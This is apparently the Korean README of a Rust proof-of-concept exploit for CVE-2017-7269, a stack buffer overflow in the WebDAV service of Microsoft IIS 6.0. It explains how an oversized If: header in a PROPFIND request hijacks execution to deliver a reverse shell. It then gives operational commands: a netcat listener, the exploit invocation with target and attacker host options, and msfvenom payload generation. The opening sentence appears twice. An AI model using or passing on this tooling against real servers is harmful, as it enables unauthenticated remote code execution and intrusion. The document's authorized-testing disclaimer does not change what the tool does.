
CVE-2017-7269용 POC의 Rust 구현으로, Microsoft IIS(인터넷 정보 서비스) 6.0의 WebDAV 서비스를 대상으로 합니다.
CVE-2017-7269의 POC를 Rust로 구현한 것으로, Microsoft 인터넷 정보 서비스(IIS) 6.0의 WebDAV 서비스를 대상으로 합니다.
CVE-2017-7269는 Windows Server 2003 R2에 포함된 Microsoft IIS 6.0의 WebDAV 서비스에서 발견된 심각한 스택 기반 버퍼 오버플로우 취약점입니다. 악용에 성공할 경우, 인증되지 않은 공격자가 대상 서버에서 원격 코드 실행을 할 수 있습니다.
httpext.dll (IIS WebDAV Extension)ScStoragePathFromUrlPROPFIND HTTP 요청.If: 헤더.이 취약점은 전형적인 스택 버퍼 오버플로우입니다. ScStoragePathFromUrl 함수가 악성 If: 헤더를 포함한 PROPFIND 요청을 처리할 때 발생합니다.
이 익스플로잇은 긴 바이트 문자열로 구성된 헤더를 만들어 스택에 할당된 버퍼를 오버플로우시킵니다. 이 오버플로우는 저장된 반환 주소(EIP)를 포함한 중요한 스택 데이터를 덮어씁니다. 익스플로잇은 이 반환 주소를 동일한 악성 헤더 내에 있는 작은 초기 셸코드 페이로드로 지정하여 프로그램의 실행 흐름을 탈취합니다. 이 1단계 셸코드의 역할은 동일한 HTTP 요청의 본문으로 전송된 메인 페이로드인 리버스 셸을 찾아 실행하는 것입니다. 이 POC는 cmd.exe 셸을 공격자가 제어하는 리스너로 연결하여 원격 코드 실행을 성공적으로 입증합니다.
리스너 준비 (--lport에 맞게 포트 조정):
nc -lvnp <attacker-port>
임베디드 셸코드로 익스플로잇 실행:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
이 도구는 LHOST/LPORT를 사용하여 WSA 셸코드를 즉석에서 패치하고 이를 HTTP 본문에 담아 전달합니다. 대상이 취약한 경우 리스너는 cmd.exe에서 실행되는 리버스 셸을 수신합니다.
--payload)raw 페이로드 제작
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
페이로드 전달 (셸코드에 이미 해당 정보가 인코딩되어 있으므로 --lhost/--lport는 필요 없음):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
이전과 동일한 리스너에서 콜백 처리. 바이너리는 제공된 바이트를 단순히 스트리밍하므로 정확한 동작은 생성한 페이로드에 따라 달라집니다.
이 도구는 교육 및 공인된 침투 테스트 목적으로만 사용됩니다. 책임감 있게 사용하고, 소유한 시스템 또는 명시적 허가를 받은 시스템에서만 사용하십시오.